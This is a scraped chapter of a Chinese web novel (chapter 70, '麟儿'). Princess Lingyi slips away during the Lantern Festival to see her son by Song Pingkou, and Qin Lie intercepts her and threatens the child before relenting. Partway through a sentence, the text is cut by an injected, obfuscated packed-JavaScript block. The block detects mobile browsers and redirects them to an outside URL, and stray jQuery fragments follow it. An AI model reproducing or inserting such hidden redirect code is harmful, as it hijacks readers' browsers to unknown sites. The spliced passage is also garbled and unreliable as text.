默认冷灰
24号文字
方正启体

70. 麟儿

作者:行期一本书字数:K更新时间:
    翌日回京除岁,又是千篇一律的宫宴。


    之后到初七,是秦烈应酬最多的一段时日,——他虽不与朝臣来往,可那些返京述职的下属,却不得不见。令仪不耐烦见那些人,秦烈也由着她,更不需要她用心筹备,只让她坐着收礼,也就是闲暇时见见那些将领的女眷,听听各地风情趣事。


    秦烁虽刚过十三岁生辰,过了年关,在别人嘴里已是十五岁的儿郎。


    秦烈几次会客宴席都将他带在身边,秦烁虽有些青涩,但是举止有度,又是端王世子,自然博得一众赞誉。


    转眼到了上元节,去年上元节,皇上忽然下旨要秦烈领兵出征,答应过要带公主出去看花灯,未能成行,今岁又要陪皇上登明月楼,又只剩下公主一人。


    往年上元节皇上登明月楼赏灯与民同乐,都是由太子陪同。


    今年竟然换成了端王,朝中谁人不暗中揣测?


    殊不知皇上疑心一起,看太子如邻居偷斧,动辄成咎,何况东宫又不是铁板一块,做事岂能毫无纰漏?至于做人.......东宫臣属大都是从冀州来到京城,以后便是天子近臣,个个眼高于顶。太子对臣属颇为宽纵,这几年间,没几人能洁身自好。


    且便是他们洁身自好,难不成还能拦得住他们乍然飞黄腾达的家人?


    东宫一位幕僚,自冀州时便追随太子,他确有几分本事,太子对他颇为信重,俨然为东宫众位幕僚之首。他倒算得上为人清正,奈何他岳家——原本的山野村民,女婿飞黄腾达,若不作威作福,与锦衣夜行有何区别?于是走起了横行乡里,嚣张跋扈之路,原本只是小打小闹,见地方小官小吏不敢管东宫重臣的家眷?胆子日益变大,这日竟因着几块田地,闹出了人命来。


    原本这种事闹不到皇上眼前,可被他们打死那人,是皇上一位老部下的远亲。


    秦家在冀州经营几十年,不说亲朋好友,只说下属臣工,如今冀州州府如今谁没个出人头地的亲戚?


    原本这位老部下也不敢得罪东宫,且此事本就是两方各有对错,为了田地大打出手,只是自己这边倒霉丢了性命罢了。便只托信让那打死远亲之人赔礼道歉,不想凶手却气焰嚣张,东宫幕僚,日后的天子重臣,岂会将一个垂垂老矣的三品将军放在眼里?对传信之人冷嘲热讽,老部下戎马半生,本就性情急躁,此举让他在冀州老家丢尽了脸面,再不能忍!当日便进宫面见皇上,一顿老泪纵横。


    皇上震怒。


    区区一条人命,他岂会看在眼里?


    皇上怒的是那凶手横行霸道的倚仗,区区一个东宫幕僚,一官半职也无,对社稷毫无贡献。便敢不将朝廷三品大员,他昔日部下放在眼里,可见东宫不臣之心久矣!


    因此,登明月楼之人,临时从太子换成了端王。


    换了旁人只觉无上荣耀,可令仪对此却很不满意。


    秦烈哄她:“上元节花灯三日,我们明日再一起去看”


    令仪道:“只有今夜皇上登明月楼,才会有火龙舞,明日再看还有什么意思?”


    秦烈便道:“那就明年.....”


    令仪生气地打断他:“明年复明年,明年何其多!”


    秦烈笑:“歪诗都出来了。”见公主瞪他,他收了笑,举手起誓:“君子一言,明年我定然带你一起赏花灯猜灯谜,若违此誓.......”


    令仪忙抓住他的手,一抬眼就见秦烈正看着她。


    那眼中柔情缱绻,竟让她不能直视。


    别过脸,她道:“反正酒楼已经定了雅间,不如我今日先去看了火龙舞,明日你再陪我看花灯?”


    上元节,街上行人繁多,三教九流都有,她自己出门,秦烈自然不愿意。


    令仪便搂住他的腰,仰头可怜兮兮看着他:“我又不在街上走动,只去酒楼,你派多些人护着我,能有什么危险?”


    明知她在扮可怜,秦烈也不忍心一口拒绝,只无奈地叹了口气:“你真的这般想去?”顿了下,又道:“不去不行?”


    令仪依旧那样巴巴地看着他,娇气又委屈:“就是想去.......”


    秦烈垂眸,似有几分落寞,再抬眼又是温柔神色,嘱咐道:“我让秦小山随你过去,记得,看完了火龙舞便回来,乖乖在家里等我。”


    令仪大喜,立时点头如捣蒜。


    秦烈要先去宫里,再与皇上一起去明月楼,吃过午膳便出府。


    令仪则是等天快黑,才不紧不慢地出发去酒楼。


    这是看火龙舞视线最好的雅间,一旁便是明月楼。


    明月楼虽名为楼,实则是每年上元节才会搭建的竹楼,供皇上登楼观看百姓盛事,火龙舞后,皇上下楼,明月楼也会整个点燃,成为上元节最大最好看的花灯。


    雅间里一早备好了吃食,令仪刚吃了几口枣糕,喝了几口茶水,皇上便到了明月楼下。


    令仪躲在窗棂边看,只见皇上一身明黄龙袍,身边是盛装打扮的皇后。


    在他们身后是一众官员,两旁几百士兵尽皆披盔戴甲,气势摄人。


    那么多的人,她一眼便看到秦烈,他身着蟒袍,站在百官之首,是旁人都比不上的丰神俊朗,器宇轩昂。


    恰巧他也正看过来,对上她的眼神,虽仍是一副冷峻神情,眼里却多了几分笑意。


    皇上与皇后登楼,秦烈紧随其后。


    明月楼共九层,待到皇上等人出现在顶层观景台上,令仪已经看不清他们的面容。


    幸好观景台上只三人,凭着衣衫颜色勉强分辨出黄色是皇上,朱红是皇后,黑色是秦烈。


    站的那样高,这酒楼又这么多间房,秦烈定然已经找不到她。


    待皇上站定,燃烧的火龙很快入场。


    上百人穿着特制的衣衫,举着两个灯笼排成长龙,为首之人举着大大的龙头,龙头中不时喷出一阵阵火,惹得观看之人惊呼连连。


    令仪也看得十分入迷,不自觉喝完了一瓶酒。


    这酒酿的十分醇香,且不醉人,令仪没什么别的嗜好,酿酒算是其中之一,又特意叫来掌柜询问,掌柜的自然一五一十如实相告。


    待他说完,令仪笑道:“放心,你们酒楼的招牌,我自不会白拿。”


    她吩咐一旁的秦小山,让他给掌柜五千两银子。


    掌柜的一听连忙跪下:“小人这法子王妃能看上眼,已经是小店的荣幸,且小的信王妃绝不会外传,岂敢收王妃的银子?!”


    令仪道:“你不收,岂不是更显得我仗势欺人!”一面说着一面要秦小山拿银票。


    秦小山岂会随身携带这么多银票,恭声道:“小人这边记下,回府后便着人将银票送来。”


    令仪却不依:“你这般说,越发显得我是故作姿态!”


    秦小山见她眼神已有些涣散,便知那酒虽不易醉人,也奈何不了公主酒量实在太浅。可不管她是醉是醒,自己都要顺着,万不敢拂了她的意。


    可眼见她要退下手上玉镯给掌柜,那是生辰时王爷送她的礼物,能让见惯宝物的王爷特意作为生辰贺礼送出来,何止价值连城?且她醉意渐深,退下玉镯时一个不稳,玉镯便要摔到地上。


    秦小山下意识去接。


    玉镯落在一个粗糙手掌,递回公主手中。


    而秦小山却扑通一声倒在地上,睁大双眼看着点了他穴道的酒楼掌柜。


    掌柜露出一抹与他面相极为不符的俏皮笑容,“得罪了,秦总管。”


    片刻后,酒楼掌柜与“秦小山”一同出了雅间,临下楼前,后者还不忘命令在一旁守着的亲卫道:“好好看着,不许任何人出入房间。”


    。


    酒楼外围满了看火龙舞的人,公主与三娘费了不少功夫挤出来。


    穿过街上熙熙攘攘的人群,两人来到一条无人小巷。


    巷尾系着两匹马,两人纵身上马,三娘在前,公主在后,朝郊外行去。


    也亏得今日上元佳节,城门大开,三个时辰后,两人来到一处村落。


    将马匹藏在村外林中,三娘带令仪来到里面一个院落,“小公子就在里面。”


    三娘说完便回头推门,迈步进去。


    本来心急如焚的令仪竟觉近乡情怯,稍一怔忪,没有立即跟上。


    只这一刻,便听到里面三娘一声低呼,紧接着是重物倒地之声。


    她心下一凛,便要后退,一身玄色劲装的秦烈,已自里面走了出来。


    他眉目含霜,“在这里看见公主,微臣当真痛惜。”


    在他身后,秦小山恭声站立,正视线平平地看过来。


    而三娘匍匐地上,嘴角沁血,可见受伤不轻。


    自公主那日醒来,秦烈便知道她已经想起所有。


    ——被她满怀真情地注视过,更能看清她醒来那一瞬,看向他时眼底的厌恶与冰冷,让他连装傻亦不能够。


    没人知道他有多怕,可她没有拆穿,他便静静地看她演戏,心甘情愿与她共同沉溺戏中。


    幸好还有焕儿,他想用焕儿留住他,她似乎真的被打动,看到焕儿时笑容也真实几分。


    他便想,这般下去也不错,能自欺欺人未尝不是一种幸福。


    若她今日不来,他绝不会自己清醒。


    可她还是来了,站在那里,震惊地看着他,之后目光便转为沉静。


    她问:“麟儿在哪?”


    秦烈转身看向房内瑟瑟发抖的一对夫妻,他们怀中抱着一个沉睡的稚童。


    从接到秦小山的信号,到寻托辞提前下明月楼,再到追过来,他也只因着骑术比她们快一线,刚进来便接到公主来到村外的消息,又是熄灯藏匿一番伪装,他也还没来得及看清这个孽种。


    秦烈见过宋平寇,两军隔江对峙时,梁老将军曾作为说客,让他们二人坐下和谈。


    当时酒酣人醉,如花似玉的美女们扭动着裸露的腰肢,为他们助兴。


    梁老将军招呼他们,“西域美人尽皆高眉深


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295787|171007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    目能歌善舞,别有一番趣味,两位贤侄若有看的上眼的,不必与我客气,尽管取用!”


    宋平寇闻言哈哈大笑,挑衅的目光毫不遮掩地看向秦烈,“天下至宝已在我怀中,又怎会看上这些庸脂俗粉?!”


    秦烈一早便知道令仪为宋平寇生下一子。


    可知道与看到,是两回事。


    看着眼前稚童那张熟悉的脸,他面色阴沉到极点。


    令仪岂能错认他的浑身杀气?


    她往前几步挡在他身前,急切道:“我今日并非想逃,只不过想看他一眼,如今知道他好好活着,心愿已了,我们这便回去!”


    他恍若未闻,拨开她,继续朝麟儿方向走去,令仪一把拉住他的手,“秦烈,我累了......你陪我回家好不好?”


    他低头,看到她祈求凄惶的双眸。


    家,多么动听的字眼。


    她对他说回家。


    她居然胆还敢说要他陪她回家。


    可笑!无论是公主府,还是黄州村舍,亦或是如今的王府,哪一个不是被她自己毫不留情的舍弃?


    见他毫不动容,令仪便知今日事情绝难善了,她垂目,手快速伸向他腰间长剑,可刚一动作便被他握住手腕反扣在身前。


    秦烈岂能不知她的意图?


    语气沉沉道:“公主不必妄图以自己性命相威胁,你想的不错,我确实舍不得伤你......”


    他恨恨看向那沉睡的稚童,“可你也该清楚,我绝容不下这个孽种!”


    令仪冷道:“他是孽种,我又是什么?你何必迁怒,你我心知肚明,你该杀的人分明是我!”


    秦烈却道:“你当初孤身一人在涿州,被耿庆之流逼迫,不得不委身于人,因此才生下这个孽种。是我护你不周,此事怪不得你。如今宋贼已被你亲手毒杀,耿庆也已被我亲自手刃,只剩下这个孽种。待他死后,再不会有人提那段往事,之后你有我,还有焕儿,难道不自在和乐?”


    令仪未曾想,事到如今,秦烈竟还能自欺欺人到这个地步,仿佛连他婚前劝她回头,几乎身死他乡之事也忘了,只相信自己想要相信的理由。


    她自清醒以来,曾将秦烈行事来回揣度,得出的结论是他对她种种不过是因着胜负欲与占有欲,——因着得不到,反而更执着。


    可这一刻,她才惊觉,或许他对自己真有几分情意。


    真是好笑,但凡有一分真心,他又怎会那般羞辱践踏她?


    还在那样伤害她后,舔着脸献上自己的真心,还要她以同样的真心回报。


    可有真心总比没有好,起码能借着这几分真心度过现下的难关。


    她敛眉轻声道:“状元游街那日,我便恢复了记忆,可我一直瞒着你,你可知为何?”


    “为何?”


    “因为回首来时路,一片狼藉,咱们之间隔着太多人,太多事,谁都无法释怀。我便想,只有假装什么都记不得,只如我刚嫁给你,没有那么多恩怨是非,仿佛咱们本来就该是这样,两心相印,毫无芥蒂。可是秦烈.......”她低微着声气求他:“求你别让我后悔。”


    “后悔什么?”


    “后悔不该那样对宋平寇。”


    他怔了下,语气变得极为森寒,“你后悔杀了他?”


    令仪缓缓摇头,“之前从未后悔,只是.......”


    两个字让他猛然提起心,连呼吸也窒住。


    她眼泪簌簌落下,“只是若他还活着,今时今日,断然不会让我们母子陷入如此境地。”


    她对宋平寇再多虚情假意,可这一刻对其庇护的渴盼万分真实,绝不作伪。


    秦烈如遭重击,脸色煞白,他知道她在逼他,——若他当真杀了这个孩子,她不仅会恨他,更会千万遍地想若宋平寇还活着的情形.......


    宋平寇!只着三个字便让他眼前蒙上一层血色,杀意纵横,还有这个孩子,不仅是宋家血脉,更是她不忠的产物,他耻辱的证明!


    他岂能容这孽种存活于世?!


    更何况,在她心里,便是自己与焕儿加起来,竟也敌不过这个孽种!


    他很想问她,同样是她的孩子,焕儿又比这个孽种差到哪里去?


    还是说,差的不是焕儿,而是他?


    明明自己与她纠缠这么多年,也依旧比不过宋平寇那个死人?!


    可是沉默良久后,他愤懑全消,只颓然道:“这世上未必只有宋平寇才能保你们母子周全,你与我回去,至于这个孩子........我会将他送去一户殷食人家,只要你安心陪在我身边,如以前那样,我保他一生富足平安。”


    他一字一句说的极为缓慢,可见做出这个决定如何艰难,令仪纵依然有许多不放心,如今也只能见好就收,轻轻点了点头,看了看地上的三娘,又再度巴巴地看向秦烈。


    秦烈心里压着怒气,却只能无奈道:“放心,我会将她送至谢府,绝不伤她性命。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)